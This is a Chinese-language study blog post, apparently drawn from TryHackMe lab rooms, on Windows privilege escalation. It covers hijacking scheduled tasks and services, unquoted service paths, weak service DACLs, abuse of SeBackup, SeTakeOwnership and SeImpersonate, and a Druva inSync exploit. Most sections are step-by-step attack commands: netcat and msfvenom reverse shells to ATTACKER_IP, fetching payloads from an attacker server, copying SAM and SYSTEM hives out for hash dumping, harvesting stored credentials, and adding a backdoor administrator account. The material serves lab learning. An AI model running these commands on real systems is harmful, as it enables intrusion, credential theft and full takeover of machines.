Windows提权基础

本文内容为学习笔记,全部来自thm

0x01常用位置收集

Powershell历史记录

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去命令的内存。这对于快速重复以前使用过的命令很有用。如果用户在 Powershell 命令行中直接运行包含密码的命令,则稍后可以从 cmd.exe 提示符中使用以下命令检索该命令:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

注意:上述命令仅适用于cmd.exe,因为Powershell无法识别 %userprofile% 为环境变量。若要从 Powershell读取文件,必须替换为 %userprofile% $Env:userprofile 。

凭据Credentials

Windows 允许我们使用其他用户的凭据。此函数还提供了将这些凭据保存在系统上的选项。以下命令将列出保存的凭据:

cmdkey /list

虽然看不到实际密码,但如果您发现任何值得尝试的凭据,则可以将它们与 runas 命令和 /savecred 选项一起使用,如下所示。

runas /savecred /user:admin cmd.exe

IIS配置

Internet Information Services (IIS) 是 Windows 安装的默认 Web 服务器。IIS 上的网站配置存储在调用 web.config 的文件中,可以存储数据库或配置的身份验证机制的密码。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

下面是在文件上查找数据库连接字符串的快速方法:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStrin

(PuTTY)检索凭据

PuTTY是Windows系统上常见的SSH客户端。用户不必每次都指定连接的参数,而是可以存储会话,其中可以存储
IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码,但它将存储包含明文身份验证凭据的代理配置。

若要检索存储的代理凭据,可以使用以下命令在以下注册表项下搜索代理密码:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意:SimonTatham是PuTTY的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

0x02快速提权

计划任务劫持

Scheduled Task(计划任务)是操作系统中的一项功能,它允许用户预定在特定时间或特定条件下自动执行某个程序、脚本或命令。通过使用计划任务,用户可以方便地自动化重复性的任务、定期执行系统维护操作或在特定事件发生时触发特定的操作。Scheduled Task(计划任务)是操作系统中的一项功能,它允许用户预定在特定时间或特定条件下自动执行某个程序、脚本或命令。通过使用计划任务,用户可以方便地自动化重复性的任务、定期执行系统维护操作或在特定事件发生时触发特定的操作。

提权思路:劫持掉其他(高权限)用户的计划任务,改为反弹shell语句,实现提权

实验

实验全部为thm path下的房间

目标:
在这里插入图片描述
首先用kali的Remmina RDP到目标机器
查看我们的身份和权限
在这里插入图片描述
在这里插入图片描述
登录身份是访客,需要提权

先用查询命令确定由目标用户taskusr1运行的计划任务,这里是vulntask

用schtasks命令查询计划任务vulntask

schtasks /query /tn vulntask /fo list /v

在这里插入图片描述
要想劫持它,就要有修改权。所以,接着查询我们对这个程序的权限:

icacls c:\tasks\schtask.bat

在这里插入图片描述
从结果中可以看出,BUILTIN\Users 组对任务的二进制文件具有完全访问权限(F)。这意味着我们可以修改.bat文件并插入我们喜欢的任何payload。为方便起见, nc64.exe 可以在 上 C:\tools 找到。让我们更改 bat 文件以生成一个反弹shell:

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

并在kali上监听4444端口:

nc -nlvp 4444

接着运行该任务,即可拿到反弹的shell:

schtasks /run /tn vulntask

在这里插入图片描述
这样就以taskusr1的身份拿到了shell
在这里插入图片描述
在这里插入图片描述

AlwaysInstall提权

Windows安装程序文件(也称为.msi文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将这些配置为从任何用户帐户(甚至是非特权用户帐户)以更高的权限运行。这可能会允许我们生成以管理员权限运行的恶意 MSI 文件。

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容:

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,应同时设置这两个漏洞。否则,将无法进行开发。如果设置了这些,则可以使用 msfvenom生成恶意.msi文件,如下所示:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向外壳,您还应该运行相应配置的 Metasploit 处理程序模块。传输已创建的文件后,可以使用以下命令运行安装程序并接收反向 shell:

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

0x03利用服务相关配置错误

Windows Services劫持

Windows 服务由服务控制管理器 (SCM) 管理。SCM是一个负责根据需要管理服务状态、检查任何给定服务的当前状态以及通常提供配置服务的方法的过程。

Windows 计算机上的每个服务都有一个关联的可执行文件,每当启动服务时,SCM 都会运行该可执行文件。请务必注意,服务可执行文件实现特殊功能以便能够与 SCM 通信,因此无法将任何可执行文件作为服务成功启动。每个服务还指定将在其下运行服务的用户帐户
提权思路:劫持掉目标用户执行的服务对应的exe文件

实验

目标:
在这里插入图片描述

检查权限过程略

使用 sc qc 命令检查 WindowsScheduler服务配置:

通过信息收集已得知WindowsScheduler服务是由目标用户svusr1运行

sc qc WindowsScheduler

在这里插入图片描述

这里我们可以看到,关联的可执行文件是通过 BINARY_PATH_NAME 参数指定的,用于运行服务的帐户显示在 SERVICE_START_NAME 参数上。

接着还是查看我们对于该exe文件的权限:

icacls C:\PROGRA~2\SYSTEM~1\WService.exe

在这里插入图片描述
可以看到everyone都有修改权(M),接着使用反弹shell的payload替换该exe文件
先生成payload并传到目标机器上:
在这里插入图片描述
一旦有效负载在 Windows 服务器中,我们继续将服务可执行文件替换为我们的有效负载。由于我们需要另一个用户来执行我们的有效负载,因此我们也希望向 Everyone 组授予完全权限:
在这里插入图片描述

当前用户应被给予完全控制权,否则将无法重启服务以触发反弹shell

在kali上打开4445端口
重启该服务:

C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

成功getshell

引号缺失导致逃逸

当我们不能像以前那样直接写入,无修改服务所关联的可执行文件的权限时,可能仍然有机会通过使用相当模糊的功能来强制服务运行任意可执行文件

在使用 Windows 服务时,当服务被配置为指向“未引用”的可执行文件,就会发生非常特殊的行为。 未引用是指 服务所关联的可执行文件的路径未正确引用。

该提权方式就是利用了对可执行文件路径未加引号的错误,致使完整路径逃逸,然后只需劫持逃逸出的可执行文件即可绕过对权限的限制,这是一种完全依靠配置错误的“弱”提权方法。

作为例子,让我们看看两种服务之间的区别(这些服务仅用作示例)。 第一个服务将使用正确的引用路径,以便让SCM 知道该服务启动时 必须执行"C:\Program Files\RealVNC\VNC Server\vncserver.exe"路径所指向的二进制文件,以下是该服务相关的参数:

C:> sc qc “vncserver” [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : “C:\Program Files\RealVNC\VNC Server\vncserver.exe” -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

现在让我们看看另一个未正确引用路径的服务:

C:> sc qc “disk sorter enterprise” [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2

当 SCM 尝试执行 该服务所关联的二进制文件时,就会出现问题。 由于相关的二进制文件路径中的“Disk Sorter Enterprise”文件夹名称上有空格,因此相关命令会变得不明确,SCM 不知道你正在尝试执行以下哪个二进制文件:
在这里插入图片描述

这与命令提示符(cmd或者Powershell)如何解析命令有关。
通常,当你发送一个命令时,空格将用作参数分隔符,除非它们是带引号的字符串的一部分。
这意味着未引用命令的“正确”解释是执行C:\MyPrograms\Disk.exe并将路径的其余部分作为参数。

SCM 会尝试按表中显示的顺序搜索每个二进制文件:

首先,搜索 C:\MyPrograms\Disk.exe。 如果存在,该服务将运行此可执行文件。

如果Disk.exe存在,它将搜索 C:\MyPrograms\Disk Sorter.exe。 如果存在,该服务将运行此可执行文件。

如果Disk Sorter.exe不存在,它将搜索 C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe。 此选项预计会成功,并且通常会在默认情况下运行。

如果攻击者 在SCM搜索服务所关联的预期可执行文件之前(比如C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe) 就已经创建了一个可被包含在路径中的其他可执行文件(比如C:\MyPrograms\Disk.exe),那么攻击者就能在该服务启动时强制运行他们手动创建的可执行文件。

大多数服务所关联的可执行文件会默认安装在 C:\Program Files 或 C:\Program Files (x86) 下,非特权用户无法写入。 这可以防止任何易受攻击的服务被攻击者利用。 但是以上规则也有例外:一些安装程序可能会更改对应的安装文件夹的权限,从而使相关的服务易受攻击;管理员可能会决定在非默认路径下安装服务所关联的二进制文件,如果这样的路径是全局可写的,则攻击者可以利用该漏洞。

实验

目标:
在这里插入图片描述

查看服务配置信息:

sc qc "disk sorter enterprise"

这里启示了我们,在找该配置错误漏洞时,瞄准名称带空格的服务检索

在这里插入图片描述
发现路径处未加引号,在执行时会被识别为执行C:\M…Disk,所以我们接着查看对MyPrograms的控制权限:
在这里插入图片描述
具有创建目录和文件的权限
接着在kali生成payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

python3 -m http.server

在目标机接收payload文件:
(用Powershell)

wget http://10.10.24.240:8000/rev-svc2.exe -O rev-svc2.exe

在这里插入图片描述
将服务所关联的二进制文件替换成payload文件并附加可执行权限:

move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe #接收到payload文件之后立即执行此命令,否则会因为文件被杀毒软件杀掉而导致命令执行失败
icacls C:\MyPrograms\Disk.exe /grant Everyone:F

在这里插入图片描述
在kali监听4446
重新启动服务:

sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"

在这里插入图片描述
成功getshell

服务DACL配置错误

如果服务对应的可执行文件的 DACL(自由访问控制列表)配置良好,并且服务关联的二进制文件路径也被正确引用,你仍然有很小的机会可以对服务进行漏洞利用。

如果服务本身的DACL(注意:此处并非服务对应的可执行文件的 DACL)允许你修改服务的配置,你将能够对服务进行重新配置。 这将允许你将某个服务指向你设置的任何可执行文件路径,而且可以使用你指定的任何帐户权限去运行服务所关联的可执行文件,能够指定的账户包括 SYSTEM 账户。

漏洞成因:错误的服务的权限配置,造成越权修改服务的路径,致使get到高权限用户的shell

如果想从命令行环境检查服务本身的DACL,你可以使用 Sysinternals 套件中的 Accesschk工具。

实验

目标:
在这里插入图片描述
目标机的C:\tools 目录下提供了一份Accesschk工具副本。 检查 thmservice 服务本身的 DACL 的命令是:

C:\tools\AccessChk> accesschk64.exe -qlc thmservice

在这里插入图片描述

即所有人都有重新配置服务的权限

用kali构建反弹shell的payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4447 -f exe-service -o rev-svc3.exe
python3 -m http.server

目标机接收payload:

#使用目标机的powershell
wget http://ip:8000/rev-svc3.exe -O rev-svc3.exe
dir

在这里插入图片描述
对payload文件附加可执行权限,更改服务所关联的可执行文件路径以及服务相关帐户(此处改为LocalSystem账户):

#使用目标机的cmd
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F #授予Everyone 组成员一个执行payload文件的权限
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

指定让localsystem用户把payload当作thmservice服务执行

kali开启监听
重启服务触发shell反弹:

sc stop THMService
sc start THMService

在这里插入图片描述
成功getshell

0x04利用危险权限

Windows 权限

权限是指帐户是否有执行特定系统相关任务的权利。 这些任务可以简单到关闭机器,也可以是绕过某些基于 DACL(自由访问控制列表)的访问控制。

每个用户都有一组分配的权限,可以使用以下命令进行检查:

whoami /priv

此处提供了 Windows 系统上可用权限的完整列表。 从攻击者的角度来看,只有那些允许我们在系统中进行提权的初级权限才是有意义的。你可以在 Github 项目Priv2Admin上找到一个可被攻击者利用的权限的完整列表。

SeBackup / SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何适当的 DACL(自由访问控制列表)。
此权限存在的背后动机是允许某些用户在系统中执行备份操作,而无需授予其完全的管理权限。

一旦拥有SeBackup 和 SeRestore权限,攻击者就可以通过使用多种技术轻松进行提权操作。 包括复制 SAM 和 SYSTEM 注册表配置单元(registry hives)以提取本地管理员的密码hash值。

默认情况下会授予“Backup Operators”组 SeBackup 和 SeRestore 权限。 我们需要使用“以管理员身份打开”选项打开cmd以使用这些权限。 我们将被要求再次输入密码以运行高级别的控制台程序:

image

在命令提示符(cmd)下,我们可以使用以下命令检查我们的权限,具体命令和执行结果如下:
在这里插入图片描述

要备份 SYSTEM 和 SAM 中的密码哈希值,我们可以使用以下命令,具体命令和执行结果如下:
在这里插入图片描述

以上命令将创建一些包含注册表配置单元内容的文件。 我们可以使用 SMB 或任何其他可用方法将这些文件复制到攻击机上。

我们可以在攻击机上使用 impacket中的 smbserver.py 来启动一个简单的 SMB 服务器,并在攻击机的当前目录下启动一个网络共享:

#在攻击机上
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

这将创建一个指向共享目录 名为public 的共享,该命令需要我们提供当前 Windows 会话的用户名和密码;在此之后,我们就可以在 windows 机器中使用复制命令(copy)将两个所需文件传输到我们的 AttackBox:

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

在攻击机上使用impacket检索用户的密码哈希,具体命令和结果如下:

#在攻击机上
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

在这里插入图片描述

在攻击机上,我们可以利用管理员的密码哈希值来执行 Pass-the-Hash 攻击并获得目标机器的 SYSTEM 级别访问权限,具体命令和执行结果如下:
在这里插入图片描述

SeTakeOwnership

SeTakeOwnership
权限允许用户获得系统上任何对象的所有权,包括文件和注册表项,从而为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM
身份运行的服务并获得 关于服务的可执行文件的所有权。 但是,在接下来的例子中,我们将采用不同的提权路线。

要获得 SeTakeOwnership 权限,我们需要使用“以管理员身份打开”选项打开命令提示符(cmd)。我们将被要求再次输入密码以运行高级别的控制台程序:
在这里插入图片描述

在命令提示符(cmd)下,我们可以使用以下命令检查我们的权限,具体的命令和结果如下:
在这里插入图片描述

这次我们将滥用 utilman.exe 来提升权限。 Utilman 是一个内置的 Windows 应用程序,用于在计算机锁定屏幕期间 提供“轻松访问”选项:
在这里插入图片描述

由于 Utilman 是以 SYSTEM 权限运行的,如果我们将原始的二进制文件替换为我们构建的payload文件,我们将有效地获得目标机的 SYSTEM 权限。 由于我们可以拥有任何文件的所有权,因此替换原始二进制文件是微不足道的。

要替换 utilman,我们将首先在目标机上使用以下命令获取它的所有权,具体命令和执行结果如下:
在这里插入图片描述

请注意,成为文件的所有者并不一定意味着你拥有该文件运行时所对应的特权,但作为文件所有者,你可以为自己分配一些所需的权限。 要授予当前用户对 utilman.exe 的完全权限,你可以使用以下命令,具体命令和执行结果如下:

#在目标机上
在这里插入图片描述
在此之后,我们可以将 utilman.exe 替换为 cmd.exe 的副本,具体命令和执行结果如下:

C:\Windows\System32\> copy cmd.exe utilman.exe

要触发 utilman程序,我们将从开始按钮选择“锁定屏幕”选项:
在这里插入图片描述

最后,在已锁定的屏幕界面 单击“轻松访问”按钮,该按钮会以系统权限运行 utilman.exe,由于我们将其替换为 cmd.exe 副本,因此我们将获得具有 SYSTEM 权限的命令提示符(cmd):
在这里插入图片描述

SeImpersonate / SeAssignPrimaryToken

SeImpersonate / SeAssignPrimaryToken 权限将允许进程模拟其他用户并代表他们行事;该模拟的功能通常包括能够在另一个用户的安全上下文环境中生成进程或线程。

我们在此以FTP 服务器的工作原理为例来理解该模拟过程;FTP 服务器必须限制用户只能访问他们应该被允许查看的文件。

假设我们有一个使用用户 ftp 身份运行的 FTP 服务:在没有模拟的情况下,如果用户 Ann 登录 FTP 服务器并尝试访问她的文件,则 FTP 服务将尝试使用其当前用户的访问令牌而不是 Ann 的访问令牌来访问Ann的文件:
在这里插入图片描述
使用 ftp 的令牌来提供FTP服务并不是最好的主意,如果简单地使用ftp 的访问令牌为不同用户提供FTP服务,则会面临以下几个问题:

  • 为了正确提供FTP中的文件,ftp 用户需要能够访问FTP中的所有文件。 在上面的示例中,FTP 服务将能够访问 Ann的文件,但不能访问 Bill 的文件,因为 Bill 文件中的 DACL 不允许用户
    ftp进行访问;这增加FTP服务实现的复杂性,因为我们必须 为FTP服务中的每一个文件/目录手动配置特定权限,才能完整地使用FTP服务。
  • 对于操作系统而言,如果所有文件都能通过用户 ftp 的令牌进行访问,而与当前登录FTP服务的用户无关,这将使得操作系统无法对FTP服务进行授权操作。
  • 如果 FTP 服务在某个时候受到威胁,攻击者将立即获得对 ftp 用户有权访问的所有文件夹的访问权限。

如果能够进行模拟操作,也就是说 如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限,那么所有的这一切都会被简化,因为 FTP 服务可以通过模拟 临时获取登录用户的访问令牌并代表登录用户执行任何任务:
在这里插入图片描述
现在,如果用户 Ann 登录到 FTP 服务并假设 ftp 用户具有模拟权限,ftp 用户可以借用 Ann 的访问令牌并使用它来访问Ann的文件。 这样,FTP服务中的文件不需要以任何方式提供对用户 ftp 的访问权限,并且操作系统也可以处理授权问题。 由于 FTP 服务正在模拟 Ann,因此在该会话期间它将无法访问 Jude 或 Bill 的文件。

作为攻击者,如果我们设法控制具有SeImpersonate或SeAssignPrimaryToken权限的进程,我们就可以模拟任何连接并被认证为该进程的用户。

在 Windows 系统中,你会发现 LOCAL SERVICE 和 NETWORK SERVICE ACCOUNTS账户 已经拥有这样的权限。 由于这些帐户用于 使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。

Internet 信息服务 (IIS) 也将为 Web 应用程序创建一个类似的名为“iis apppool\defaultapppool”的默认帐户。

要使用此类帐户提升权限,攻击者需要准备以下内容: 1. 生成一个进程,以便用户可以连接并对其进行身份验证以开始模拟。 2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。

我们将利用 RogueWinRM 漏洞来完成以上两个条件。

让我们首先假设我们已经入侵了一个在 IIS 上运行的网站,并且我们已经在以下地址植入了一个 web shell:

http://MACHINE_IP/

我们可以使用 web shell 检查受感染帐户的分配权限,并确认我们是否拥有SeImpersonate 或 SeAssignPrimaryToken 权限:
在这里插入图片描述

要使用 RogueWinRM 漏洞,我们首先需要将漏洞exp上传到目标机器。 为方便起见,你可以在 C:\tools\文件夹中找到该漏洞利用(exp)程序。

RogueWinRM 漏洞:每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它会使用 SYSTEM权限自动创建一个到端口 5985 的连接。 端口 5985 通常用于 WinRM 服务,它是一个在Powershell控制台上用于实现网络远程连接的端口;你可以把它想象成 SSH,但使用的是 Powershell 来进行连接。

如果由于某种原因,WinRM 服务没有在受害者服务器上运行,攻击者也可以在端口 5985 上启动一个伪造的 WinRM 服务,并在启动时捕获 BITS 服务所做的身份验证尝试。 如果攻击者具有 SeImpersonate 权限,就可以代表连接用户(即 SYSTEM)执行任何命令。

在运行漏洞利用程序(exp)之前,我们将启动一个 netcat 侦听器以在攻击者的机器上接收反向 shell:

#攻击机
user@attackerpc$ nc -lvp 4442

然后,利用我们的 web shell 使用以下命令触发 RogueWinRM 漏洞利用程序(exp):

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

在这里插入图片描述

注意:该漏洞利用程序最多可能需要 2 分钟才能起作用,因此你的浏览器可能会暂时显示为无响应;如果你尝试多次运行漏洞利用程序,也会发生这种情况,因为我们必须等待 BITS服务停止才能再次启动它,BITS 服务将在启动 2 分钟后自动停止。

对上图中使用的命令进行分析:-p 指定exp执行时将要运行的可执行文件,在本例中为nc64.exe,-a用于将参数传递给-p指定的可执行文件。 由于我们希望 nc64为我们的攻击机建立一个反向 shell,因此传递给 netcat 的参数将是 -e cmd.exe ATTACKER_IP 4442(在使用时加上引号)。

如果一切设置正确,你应该能够在攻击机上获取到一个具有 SYSTEM 权限的 shell:
在这里插入图片描述

0x05利用易受攻击的软件

未打补丁的软件

安装在目标系统上的软件可以提供各种权限提升机会。 与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新已安装的软件。 你可以使用 wmic 工具列出目标系统上安装的软件及其版本。 下面的命令将转储wmic在已安装软件上收集到的信息(可能需要大约一分钟才能完成):

wmic product get name,version,vendor

请记住wmic product命令可能不会返回所有已安装的软件信息(由于某些软件的安装方式特殊,它们可能不会在此处被列出)。 检查桌面快捷方式、系统可用服务或任何表明存在可能易受攻击的其他软件的痕迹总是值得的。

一旦我们收集了产品版本信息,我们就可以在exploit-db、packetstorm或Google等网站上在线搜索已安装软件的现有漏洞利用。简而言之:你可以使用 wmic 和 Google搜索引擎,尝试找到任何已安装产品的已知漏洞。

案例研究:Druva inSync 6.6.3

目标服务器正在运行 Druva inSync 6.6.3版本的软件,正如 Matteo Malvica 所报告的那样,这个版本的相关软件很容易受到权限提升漏洞的影响。 该提权漏洞是由 Chris Lyne 最初报告的 6.5.0 版本软件的另一个漏洞应用的错误补丁造成的。

该软件易受攻击,因为它在端口 6064 上运行具有 SYSTEM 权限的 RPC(远程过程调用)服务器(RPC通常只能从 localhost 访问)。 如果你不熟悉 RPC,你可以简单地理解为 RPC只是一种机制,RPC允许给定进程通过网络公开功能(在 RPC 术语中称为Procedure–“过程,程序”),以便其他机器可以远程调用它们。

在 Druva inSync软件运行的情况下,端口 6064 上公开的Procedure之一(特别是编号为5的Procedure)能够允许任何人请求执行任何命令。 由于相关的RPC 服务器是以 SYSTEM 身份运行的,因此攻击者所请求的任何命令都能以 SYSTEM 权限执行。

在Druva inSync 6.5.0 及之前的软件版本上报告的原始漏洞将允许不受限制地运行任何命令;该软件提供此类功能的最初想法是为了方便远程执行 inSync 所提供的某些特定二进制文件而不是为了执行任意命令。

该软件制作方随后发布了一个补丁,他们决定检查执行的命令是否以字符串 C:\ProgramData\Druva\inSync4\ 开头,因为允许执行的二进制文件应该位于这个位置;但是,这是不够的,因为攻击者可以简单地进行路径遍历攻击来绕过该补丁的这种控制手段。 假设你要执行C:\Windows\System32\cmd.exe,它并不在补丁所允许的路径范围内; 你可以简单地要求目标服务器运行 C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe,这样就可以成功绕过 补丁所做的检查。

为了组合完成一个有效的漏洞利用操作,我们需要了解如何与端口 6064 进行通信。幸运的是,此处使用的协议很简单,需要发送的数据包如下图所示:
在这里插入图片描述

第一个数据包只是一个包含固定字符串的 hello 数据包;第二个数据包表明我们要执行 5 号程序,因为这是一个易受攻击的程序,它将为我们执行任何命令;最后两个数据包分别用于指定 发送命令的长度和要执行的命令字符串内容。

Druva inSync 6.6.3版本相关的漏洞exp最初由 Matteo Malvica 发布,你可以在目标机中使用相关漏洞利用程序(exp)来提升权限,原始漏洞的利用代码如下:
在这里插入图片描述

你可以打开一个 Powershell 控制台并直接粘贴该漏洞exp代码以便执行(该漏洞exp也可以在目标机的 C:\tools\Druva_inSync_exploit.txt 中找到)。

请注意,上面的原始exp代码中的$cmd 变量所指定的exp的默认payload将会在系统中创建一个名为 pwnd 的用户,但不会为他分配管理员权限,因此我们需要更改payload以获得更高的权限,我们将把payload更改为如下的形式:

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"

这将创建密码为SimplePass123的用户pwnd并将其添加到管理员组。 如果漏洞exp利用成功,你就能够运行以下命令来验证用户pwnd是否存在并且是否已经是管理员组的一部分:
在这里插入图片描述
最后,你需要选择以管理员身份运行命令提示符(cmd):
在这里插入图片描述

0x06发现工具

有一些脚本可以对目标系统进行枚举以尝试发现提权向量,以下是一些常用来识别权限提升向量的工具。

WinPEAS

WinPEAS 是一个脚本,用于枚举目标系统以发现权限提升路径。 你可以在GitHub上找到有关 WinPEAS 的更多信息并下载预编译的相关可执行文件或 .bat 脚本。 WinPEAS 的输出结果可能很长,有时会难以阅读。 这就是为什么将输出结果重定向到一个文件中是一种很好的做法,如下所示:

C:\> winpeas.exe > outputfile.txt

WinPEAS 下载地址为:https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

PrivescCheck

PrivescCheck 是一个 PowerShell 脚本,用于搜索目标系统上的常见权限提升向量,它是 WinPEAS 的替代方案,在使用时无需执行二进制文件。

注意:要在目标系统上运行 PrivescCheck,你可能还需要绕过执行策略限制。 为此,你可以使用Set-ExecutionPolicy cmdlet,如下所示。

在这里插入图片描述

PrivescCheck 下载地址为:https://github.com/itm4n/PrivescCheck

WES-NG

一些枚举提权向量的脚本(例如 WinPEAS)会要求你将它们上传到目标系统,然后在目标机上运行脚本;这可能会导致目标机上的防病毒软件检测到并删除脚本。

为避免引起目标机注意,你可以选择使用 WES-NG,它将在你的攻击机(例如 Kali 或 TryHackMe AttackBox)上运行。

WES-NG是一个python脚本,下载地址为:https://github.com/bitsadmin/wesng

在攻击机上安装脚本后,可以先输入 wes.py --update 命令来更新数据库。 该脚本在运行时,将引用它创建的数据库,以检查可能导致漏洞利用的缺失补丁,你可以使用该脚本输出结果中的相关漏洞来提升你在目标系统上的权限。

要使用该脚本,你需要先在目标系统上运行 systeminfo 命令,然后将输出结果保存到 .txt 文件,最后将该txt文件转移到攻击机器上备用。完成上述操作后,wes.py 可以按如下方式在攻击机上运行:

user@kali$ wes.py systeminfo.txt

Metasploit

如果你已经在目标系统上获取了一个Meterpreter shell,你可以在目标机上使用 multi/recon/local_exploit_suggester 模块列出可能影响目标系统的漏洞,所列出的漏洞能够帮助你提升在目标系统上的权限。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值